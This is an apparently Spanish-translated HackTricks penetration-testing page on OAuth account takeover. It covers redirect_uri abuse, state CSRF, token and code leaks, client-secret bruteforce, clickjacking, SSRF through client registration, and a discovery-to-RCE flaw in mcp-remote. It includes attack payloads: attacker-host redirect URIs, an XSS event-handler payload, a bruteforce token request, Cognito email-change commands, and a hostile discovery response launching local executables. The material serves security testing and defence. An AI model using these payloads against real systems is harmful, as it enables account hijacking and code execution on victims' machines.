OAuth to Account takeover
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
Información básica
OAuth offers various versions, with foundational insights accessible at OAuth 2.0 documentation. This discussion primarily centers on the widely used OAuth 2.0 authorization code grant type, providing an authorization framework that enables an application to access or perform actions on a user’s account in another application (the authorization server).
Consider a hypothetical website https://example.com, designed to showcase all your social media posts, including private ones. To achieve this, OAuth 2.0 is employed. https://example.com will request your permission to access your social media posts. Consequently, a consent screen will appear on https://socialmedia.com, outlining the permissions being requested and the developer making the request. Upon your authorization, https://example.com gains the ability to access your posts on your behalf.
It’s essential to grasp the following components within the OAuth 2.0 framework:
- resource owner: Tú, como usuario/entidad, autorizas el acceso a tu recurso, como los posts de tu cuenta en la red social.
- resource server: El servidor que gestiona las peticiones autenticadas después de que la aplicación haya obtenido un
access tokenen nombre delresource owner, p. ej., https://socialmedia.com. - client application: La aplicación que solicita autorización del
resource owner, como https://example.com. - authorization server: El servidor que emite
access tokensa laclient applicationtras la autenticación exitosa delresource ownery la concesión de autorización, p. ej., https://socialmedia.com. - client_id: Un identificador público y único para la aplicación.
- client_secret: Una clave confidencial, conocida solo por la aplicación y el authorization server, usada para generar
access_tokens. - response_type: Un valor que especifica el tipo de token solicitado, como
code. - scope: El nivel de acceso que la
client applicationsolicita alresource owner. - redirect_uri: La URL a la que se redirige al usuario tras la autorización. Normalmente debe coincidir con la URL de redirect pre-registrada.
- state: Un parámetro para mantener datos durante la redirección del usuario hacia y desde el authorization server. Su unicidad es crítica para servir como mecanismo de protección CSRF.
- grant_type: Un parámetro que indica el tipo de grant y el tipo de token que se devolverá.
- code: El código de autorización del
authorization server, usado junto conclient_idyclient_secretpor la client application para obtener unaccess_token. - access_token: El token que la client application usa para peticiones API en nombre del
resource owner. - refresh_token: Permite a la aplicación obtener un nuevo
access_tokensin volver a pedir autorización al usuario.
Flujo
The actual OAuth flow proceeds as follows:
- You navigate to https://example.com and select the “Integrate with Social Media” button.
- The site then sends a request to https://socialmedia.com asking for your authorization to let https://example.com’s application access your posts. The request is structured as:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- Se te presenta entonces una página de consentimiento.
- Tras tu aprobación, Social Media envía una respuesta al
redirect_uricon los parámetroscodeystate:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com utiliza este
code, junto con suclient_idyclient_secret, para realizar una solicitud del lado del servidor y obtener unaccess_tokenen tu nombre, habilitando el acceso a los permisos a los que consentiste:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- Finalmente, el proceso concluye cuando https://example.com emplea tu
access_tokenpara hacer una llamada API a Social Media para acceder
Vulnerabilidades
Open redirect_uri
Según RFC 6749 §3.1.2, el servidor de autorización debe redirigir el navegador únicamente a pre-registered, exact redirect URIs. Cualquier debilidad aquí permite que un atacante envíe a una víctima a través de una URL de autorización maliciosa para que el IdP entregue el code (y el state) directamente a un endpoint del atacante, que luego puede canjearlo y recolectar tokens.
Flujo de ataque típico:
- Construir
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbacky enviarlo a la víctima. - La víctima se autentica y aprueba los scopes.
- El IdP redirige a
attacker.tld/callback?code=<victim-code>&state=...donde el atacante registra la petición y cambia inmediatamente el code.
Errores comunes de validación para probar:
- No validation – se acepta cualquier URL absoluta, resultando en robo instantáneo del
code. - Weak substring/regex checks on the host – eludir con lookalikes como
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, omatch.com@evil.com. - IDN homograph mismatches – la validación ocurre sobre la forma punycode (
xn--), pero el navegador redirige al dominio Unicode controlado por el atacante. - Arbitrary paths on an allowed host – apuntar
redirect_uria/openredirect?next=https://attacker.tldo a cualquier endpoint XSS/contenido-usuario leaks el code ya sea a través de redirecciones encadenadas, Referer headers, o JavaScript inyectado. - Directory constraints without normalization – patrones como
/oauth/*pueden ser eludidos con/oauth/../anything. - Wildcard subdomains – aceptar
*.example.comsignifica que cualquier takeover (dangling DNS, S3 bucket, etc.) produce inmediatamente un callback válido. - Non-HTTPS callbacks – permitir URIs
http://da a atacantes en la red (Wi‑Fi, proxy corporativo) la oportunidad de capturar el code en tránsito.
Revisa también parámetros auxiliares tipo redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) y el OpenID discovery document (/.well-known/openid-configuration) por endpoints adicionales que podrían heredar los mismos bugs de validación.
Redirect token leakage on allowlisted domains with attacker-controlled subpaths
Limitar redirect_uri a “owned/first-party domains” no ayuda si algún dominio allowlisted expone rutas controladas por el atacante o contextos de ejecución (plataformas de apps legacy, namespaces de usuario, uploads de CMS, etc.). Si el flujo OAuth/federado returns tokens in the URL (query o hash), un atacante puede:
- Iniciar un flujo legítimo para emitir un pre-token (p. ej., un
etokenen un flujo multi‑paso de Accounts Center/FXAuth). - Enviar a la víctima una URL de autorización que establezca el dominio allowlisted como
redirect_uri/base_uripero que apuntenext/ruta hacia un namespace controlado por el atacante (p. ej.,https://apps.facebook.com/<attacker_app>). - Tras la aprobación de la víctima, el IdP redirige a la ruta controlada por el atacante con valores sensibles en la URL (
token,blob, códigos, etc.). - JavaScript en esa página lee
window.locationy exfiltrates los valores a pesar de que el dominio sea “trusted”. - Replay de los valores capturados contra endpoints privilegiados downstream que solo esperan los tokens transportados por la redirección. Ejemplos del flujo FXAuth:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
XSS in redirect implementation
Como se menciona en este bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html, podría ser posible que la redirect URL se refleje en la respuesta del servidor después de que el usuario se autentique, siendo vulnerable a XSS. Payload posible para probar:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
Páginas de error de callback de OAuth: error_description reflejado, phishing de origen confiable y fuga de state codificado
Algunas integraciones OAuth usan una página de callback de primera parte para mostrar fallos de inicio de sesión después de que el IdP redirige el navegador de vuelta. Estas páginas son de alto valor porque ya se ejecutan en un origen confiable y a menudo consumen parámetros controlados por el atacante como error, error_description, message, description o state.
- Reflejar
error_descriptionen HTML sin un encoding de salida estricto convierte el callback en una página de phishing de origen confiable. Incluso cuando<script>está filtrado, la inyección de HTML aún puede suplantar toda la página de fallo e instruir a la víctima a realizar acciones elegidas por el atacante. - WAFs often key on common handlers such as
onload/onerror. When normal payloads are blocked, try browser-specific or uncommon events that defenders may not blacklist. A practical example is Safari’sonpagereveal, which can execute when the malicious callback page is shown in Safari:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
- Test self-referential payloads: si el HTML/JS inyectado puede reabrir o recargar la misma callback URL, puedes provocar agotamiento de recursos del lado del cliente, popups/pestañas repetidas, o log flooding en cada renderizado.
- Always decode opaque-looking
statevalues. Muchas implementaciones codifican en Base64 JSON o metadatos de usuario y asumen que eso está “oculto”. Base64 es reversible, por lo que las callback URLs pueden leak PII como direcciones de correo, identificadores de tenant, rutas de retorno o el estado interno del workflow. - Treat URL exposure as part of the bug: cualquier cosa colocada en la callback URL puede aparecer más tarde en el historial del navegador, reverse proxies, load balancers, logs de la app, herramientas de monitorización, capturas de pantalla y en los encabezados
Referersi la página carga recursos de terceros.
Comprobaciones rápidas durante las pruebas:
- Dispara tanto los callbacks OAuth de éxito como de fallo y captura la URL completa y el HTML renderizado.
- Repite el callback mientras mutas
error_description,messagey campos de error similares con texto plano, HTML y event-handler payloads. - Decodifica
statecomo Base64/Base64 URL-safe e inspecciónalo en busca de PII o estado de la aplicación que debería haberse mantenido en el servidor. - Repite payloads específicos de navegador en Safari/WebKit cuando el WAF bloquee sondas XSS inline-event estándar.
CSRF - Improper handling of state parameter
El parámetro state es el token CSRF del Authorization Code flow: el cliente debe generar un valor criptográficamente aleatorio por instancia de navegador, persistirlo en algún lugar que solo ese navegador pueda leer (cookie, local storage, etc.), enviarlo en la solicitud de autorización y rechazar cualquier respuesta que no devuelva el mismo valor. Siempre que el valor sea estático, predecible, opcional o no esté ligado a la sesión del usuario, el atacante puede finalizar su propio flujo OAuth, capturar la solicitud final ?code= (sin enviarla) y más tarde coaccionar a un navegador víctima para que la reproduzca, de modo que la cuenta de la víctima quede vinculada al perfil del atacante en el IdP.
El patrón de replay es siempre el mismo:
- El atacante se autentica contra el IdP con su cuenta e intercepta la última redirección que contiene
code(y cualquierstate). - Descarta esa solicitud, guarda la URL y más tarde abusa de cualquier primitiva CSRF (link, iframe, formulario auto-enviado) para forzar al navegador víctima a cargarla.
- Si el cliente no aplica
state, la aplicación consume el resultado de autorización del atacante y registra al atacante en la cuenta de la aplicación de la víctima.
Lista práctica para manejar state durante las pruebas:
- Falta total de
state– si el parámetro nunca aparece, todo el login es susceptible a CSRF. stateno requerido – elimínalo de la solicitud inicial; si el IdP aún emite codes que el cliente acepta, la defensa es opt-in.statedevuelto no validado – manipula el valor en la respuesta (Burp, MITM proxy). Aceptar valores no coincidentes significa que el token almacenado nunca se compara.statepredecible o puramente basado en datos – muchas apps meten rutas de redirección o blobs JSON enstatesin mezclar entropía, lo que permite a los atacantes adivinar valores válidos y reproducir flujos. Siempre anteponer/añadir entropía fuerte antes de codificar los datos.statefixation – si la app permite que los usuarios suministren el valor destate(p. ej., vía URLs de autorización creadas) y lo reutiliza durante el flujo, un atacante puede fijar un valor conocido y reutilizarlo contra múltiples víctimas.
PKCE puede complementar a state (especialmente para clientes públicos) ligando el authorization code a un code verifier, pero los web clients deben seguir rastreando state para prevenir bugs de cross-user CSRF/vinculación de cuentas.
Pre Account Takeover
- Without Email Verification on Account Creation: Los atacantes pueden crear preventivamente una cuenta usando el email de la víctima. Si la víctima luego usa un servicio third-party para iniciar sesión, la aplicación podría vincular inadvertidamente esa cuenta third-party con la cuenta pre-creada por el atacante, llevando a acceso no autorizado.
- Exploiting Lax OAuth Email Verification: Los atacantes pueden explotar servicios OAuth que no verifican emails registrándose y luego cambiando el email de la cuenta al de la víctima. Este método presenta un riesgo similar de acceso no autorizado, análogo al primer escenario pero por una vía distinta.
Disclosure of Secrets
El client_id es intencionalmente público, pero el client_secret nunca debe ser recuperable por usuarios finales. Despliegues del Authorization Code que incrustan el secret en APKs móviles, clientes de escritorio o single-page apps efectivamente entregan esa credencial a cualquiera que pueda descargar el paquete. Siempre inspecciona public clients mediante:
- Desempaquetado del APK/IPA, instalador de escritorio o app Electron y búsqueda de
client_secret, blobs Base64 que decodifiquen a JSON, o endpoints OAuth hard-codeados. - Revisión de archivos de configuración incluidos (plist, JSON, XML) o cadenas descompiladas en busca de credenciales de cliente.
Una vez que el atacante extrae el secret, solo necesita robar cualquier code de autorización de una víctima (vía un redirect_uri débil, logs, etc.) para golpear /token de forma independiente y emitir access/refresh tokens sin involucrar la app legítima. Trata a los clientes públicos como incapaces de mantener secretos—deberían confiar en PKCE (RFC 7636) para demostrar la posesión de un code verifier por instancia en lugar de un secret estático. Durante las pruebas, confirma si PKCE es obligatorio y si el backend realmente rechaza intercambios de token que omitan ya sea el client_secret or un code_verifier válido.
Client Secret Bruteforce
Puedes intentar bruteforce the client_secret de un service provider con el identity provider con el fin de intentar robar cuentas.
La request para BF puede parecer similar a:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:
- Classic Referer leak: after the OAuth redirect, any navigation that keeps
?code=&state=in the URL will push them into the Referer header sent to CDNs/analytics/ads. - Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to
postMessageevents and then send the currentlocation.href/referrerto backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDK’s API request history/logs and recover the victim’s OAuth artifacts embedded in those requests.
Access Token Stored in Browser History
The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:
- Tokens in URLs – if
access_tokenappears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties. - Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
- Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
- Tokens persisted in Web Storage –
localStorage/sessionStorageretain tokens long after logout on shared devices and are script-accessible.
Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.
Everlasting Authorization Code
Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:
- Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
- Test sequential reuse – send the same
codetwice. If the second request yields another token, attackers can clone sessions indefinitely. - Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
- Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.
Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.
Authorization/Refresh Token not bound to client
If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:
- Capturing a
codefor app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken. - Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary
state/app_idwhile only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens. - Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log
location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.
Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
Para más información detallada sobre cómo abusar de AWS Cognito revisa AWS Cognito - Unauthenticated Enum Access.
Abusing other Apps tokens
Como mentioned in this writeup, los flujos OAuth que esperan recibir el token (y no un code) podrían ser vulnerables si no comprueban que el token pertenece a la app.
Esto es porque un atacante podría crear una aplicación que soporte OAuth y login con Facebook (por ejemplo) en su propia aplicación. Entonces, una vez que una víctima inicia sesión con Facebook en la aplicación del atacante, el atacante podría obtener el OAuth token del usuario dado a su aplicación, y usarlo para iniciar sesión en la aplicación OAuth de la víctima usando el token del usuario de la víctima.
Caution
Por lo tanto, si el atacante consigue que un usuario acceda a su propia aplicación OAuth, podrá hacerse con la cuenta de la víctima en aplicaciones que esperan un token y no verifican si el token fue concedido a su app ID.
Two links & cookie
Según this writeup, era posible hacer que una víctima abriera una página con un returnUrl apuntando al host del atacante. Esta información se almacenaría en una cookie (RU) y en un paso posterior el prompt le preguntará al usuario si quiere dar acceso a ese host del atacante.
Para evitar este prompt, era posible abrir una pestaña para iniciar el Oauth flow que establecería esta cookie RU usando el returnUrl, cerrar la pestaña antes de que se muestre el prompt, y abrir una nueva pestaña sin ese valor. Entonces, el prompt no informará sobre el host del atacante, pero la cookie quedará configurada a ese host, por lo que el token será enviado al host del atacante en la redirección.
Prompt Interaction Bypass
Como se explica en this video, algunas implementaciones de OAuth permiten indicar el parámetro GET prompt como None (&prompt=none) para evitar que se solicite a los usuarios confirmar el acceso dado en un prompt en la web si ya están logueados en la plataforma.
response_mode
Como explained in this video, podría ser posible indicar el parámetro response_mode para especificar dónde quieres que se entregue el code en la URL final:
response_mode=query-> El code se proporciona dentro de un parámetro GET:?code=2397rf3gu93fresponse_mode=fragment-> El code se proporciona dentro del fragmento de la URL#code=2397rf3gu93fresponse_mode=form_post-> El code se proporciona dentro de un formulario POST con un input llamadocodey el valorresponse_mode=web_message-> El code se envía en un post message:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
Los diálogos de consentimiento/login de OAuth son objetivos ideales para clickjacking: si pueden ser embebidos en un iframe, un atacante puede superponer gráficos personalizados, ocultar los botones reales y engañar a los usuarios para que aprueben scopes peligrosos o vinculen cuentas. Construye PoCs que:
- Carga la URL de autorización del IdP dentro de un
<iframe sandbox="allow-forms allow-scripts allow-same-origin">. - Usa trucos de posicionamiento absoluto/opacidad para alinear botones falsos con los controles ocultos Allow/Approve.
- Opcionalmente pre-llena parámetros (scopes, redirect URI) para que la aprobación robada beneficie inmediatamente al atacante.
Durante las pruebas verifica que las páginas del IdP emitan X-Frame-Options: DENY/SAMEORIGIN o una Content-Security-Policy: frame-ancestors 'none' restrictiva. Si ninguna está presente, demuestra el riesgo con herramientas como NCC Group’s clickjacking PoC generator y registra lo fácil que es que una víctima autorice la app del atacante. Para ideas adicionales de payloads, ve Clickjacking.
OAuth ROPC flow - 2 FA bypass
Según this blog post, este es un flujo OAuth que permite iniciar sesión en OAuth mediante username y password. Si durante este flujo simple se devuelve un token con acceso a todas las acciones que el usuario puede realizar, entonces es posible bypassear 2FA usando ese token.
ATO on web page redirecting based on open redirect to referrer
Este blogpost explica cómo fue posible abusar de un open redirect usando el valor del referrer para abusar de OAuth y lograr un ATO. El ataque fue:
- La víctima accede a la página web del atacante
- La víctima abre el enlace malicioso y un opener inicia el flujo Google OAuth con
response_type=id_token,code&prompt=nonecomo parámetros adicionales usando como referrer el sitio web del atacante. - En el opener, después de que el proveedor autoriza a la víctima, los envía de vuelta al valor del parámetro
redirect_uri(web de la víctima) con un código 30X que aún mantiene el sitio del atacante en el referer. - El sitio de la víctima activa el open redirect basado en el referrer redirigiendo al usuario víctima al sitio del atacante; como el
respose_typeeraid_token,code, el code será enviado de vuelta al atacante en el fragment de la URL, permitiéndole tomar el control de la cuenta del usuario vía Google en el sitio de la víctima.
SSRFs parameters
Check this research Para más detalles de esta técnica.
Dynamic Client Registration en OAuth actúa como un vector menos obvio pero crítico para vulnerabilidades de seguridad, específicamente para ataques de Server-Side Request Forgery (SSRF). Este endpoint permite a los servidores OAuth recibir detalles sobre aplicaciones cliente, incluyendo URLs sensibles que podrían explotarse.
Puntos clave:
- Dynamic Client Registration suele mapearse a
/registery acepta detalles comoclient_name,client_secret,redirect_uris, y URLs para logos o JSON Web Key Sets (JWKs) vía POST. - Esta funcionalidad sigue las especificaciones definidas en RFC7591 y OpenID Connect Registration 1.0, las cuales incluyen parámetros potencialmente vulnerables a SSRF.
- El proceso de registro puede exponer inadvertidamente a los servidores a SSRF de varias maneras:
logo_uri: Una URL para el logo de la aplicación que el servidor podría recuperar, desencadenando SSRF o llevando a XSS si la URL se maneja incorrectamente.jwks_uri: Una URL al documento JWK del cliente, que si es maliciosa puede hacer que el servidor realice peticiones salientes a un servidor controlado por el atacante.sector_identifier_uri: Referencia un array JSON deredirect_uris, que el servidor podría recuperar, creando una oportunidad de SSRF.request_uris: Lista URIs de request permitidas para el cliente, que puede explotarse si el servidor recupera estas URIs al inicio del proceso de autorización.
Estrategia de explotación:
- SSRF puede activarse registrando un nuevo cliente con URLs maliciosas en parámetros como
logo_uri,jwks_uriosector_identifier_uri. - Aunque la explotación directa vía
request_urispuede mitigarse con controles de whitelist, suministrar unrequest_uripre-registrado y controlado por el atacante puede facilitar SSRF durante la fase de autorización.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
Investigación sobre CVE-2025-6514 (impactando clientes mcp-remote como Claude Desktop, Cursor o Windsurf) muestra cómo dynamic OAuth discovery se convierte en una primitiva RCE siempre que el cliente reenvíe metadata del IdP directamente al sistema operativo. El servidor MCP remoto devuelve un authorization_endpoint controlado por el atacante durante el intercambio de discovery (/.well-known/openid-configuration o cualquier RPC de metadata). mcp-remote ≤0.1.15 entonces llamaría al manejador de URL del sistema (start, open, xdg-open, etc.) con la cadena recibida, por lo que cualquier scheme/path soportado por el OS se ejecutaba localmente.
Flujo de ataque
- Apuntar el agente de escritorio a un servidor MCP/OAuth hostil (
npx mcp-remote https://evil). El agente recibe401más metadata. - El servidor responde con JSON como:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- El cliente lanza el OS handler para la URI suministrada. Windows acepta payloads como
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux aceptanfile:///Applications/Calculator.app/...o incluso esquemas personalizados comocmd://bash -lc '<payload>'si están registrados. - Como esto ocurre antes de cualquier interacción del usuario, con el simple hecho de configurar el cliente para comunicarse con el servidor del atacante se obtiene ejecución de código.
Cómo probar
- Apunta a cualquier desktop/agent capaz de OAuth que realice discovery sobre HTTP(S) y abra endpoints devueltos localmente (Electron apps, CLI helpers, thick clients).
- Intercepta o aloja la respuesta de discovery y reemplaza
authorization_endpoint,device_authorization_endpoint, o campos similares confile://,cmd://, rutas UNC u otros esquemas peligrosos. - Observa si el cliente valida el scheme/host. La falta de validación resulta en ejecución inmediata bajo el contexto del usuario y demuestra el problema.
- Repite con diferentes schemes para mapear la superficie de ataque completa (p. ej.,
ms-excel:,data:text/html,, custom protocol handlers) y demostrar alcance multiplataforma.
OAuth providers Race Conditions
Si la plataforma que estás probando es un proveedor OAuth lee esto para probar posibles Race Conditions.
Mutable Claims Attack
En OAuth, el campo sub identifica de forma única a un usuario, pero su formato varía según el Authorization Server. Para estandarizar la identificación de usuarios, algunos clientes usan emails o user handles. Sin embargo, esto es arriesgado porque:
- Algunos Authorization Servers no garantizan que estas propiedades (como el email) permanezcan inmutables.
- En ciertas implementaciones —como “Login with Microsoft”— el cliente confía en el campo email, que está user-controlled por el usuario en Entra ID y no está verificado.
- Un atacante puede explotar esto creando su propia organización Azure AD (p. ej., doyensectestorg) y usándola para realizar un login con Microsoft.
- Aunque el Object ID (almacenado en sub) es inmutable y seguro, la dependencia de un campo email mutable puede posibilitar un account takeover (por ejemplo, secuestrar una cuenta como victim@gmail.com).
Client Confusion Attack
En un Client Confusion Attack, una aplicación que usa OAuth Implicit Flow no verifica que el access token final haya sido generado específicamente para su propio Client ID. Un atacante monta un sitio público que usa el OAuth Implicit Flow de Google, engañando a miles de usuarios para que inicien sesión y así recolectando access tokens destinados al sitio del atacante. Si esos usuarios también tienen cuentas en otro sitio vulnerable que no valida el Client ID del token, el atacante puede reutilizar los tokens recolectados para suplantar a las víctimas y tomar control de sus cuentas.
Scope Upgrade Attack
El tipo Authorization Code Grant implica comunicación segura server-to-server para transmitir datos de usuario. Sin embargo, si el Authorization Server confía implícitamente en un parámetro scope en la Access Token Request (un parámetro no definido en el RFC), una aplicación maliciosa podría elevar los privilegios de un authorization code solicitando un scope mayor. Después de que se genera el Access Token, el Resource Server debe verificarlo: para tokens JWT esto implica comprobar la firma del JWT y extraer datos como client_id y scope, mientras que para tokens como cadenas aleatorias, el servidor debe consultar al Authorization Server para recuperar los detalles del token.
Redirect Scheme Hijacking
En implementaciones OAuth móviles, las apps usan custom URI schemes para recibir redirects con Authorization Codes. Sin embargo, dado que múltiples apps pueden registrar el mismo scheme en un dispositivo, se viola la suposición de que solo el cliente legítimo controla el redirect URI. En Android, por ejemplo, una Intent URI como com.example.app:// oauth se captura en función del scheme y de filtros opcionales definidos en el intent-filter de una app. Dado que la resolución de intents de Android puede ser amplia —especialmente si solo se especifica el scheme— un atacante puede registrar una app maliciosa con un intent filter cuidadosamente diseñado para secuestrar el authorization code. Esto puede enable an account takeover ya sea mediante interacción del usuario (cuando múltiples apps son elegibles para manejar el intent) o mediante técnicas de bypass que explotan filtros excesivamente específicos, como detalla el flowchart de evaluación de Ostorlab.
Referencias
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- Rapid7: CVE-2026-31381, CVE-2026-31382: Gainsight Assist Information Disclosure and Cross-Site Scripting (FIXED)
- MDN: Window
pagerevealevent
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.


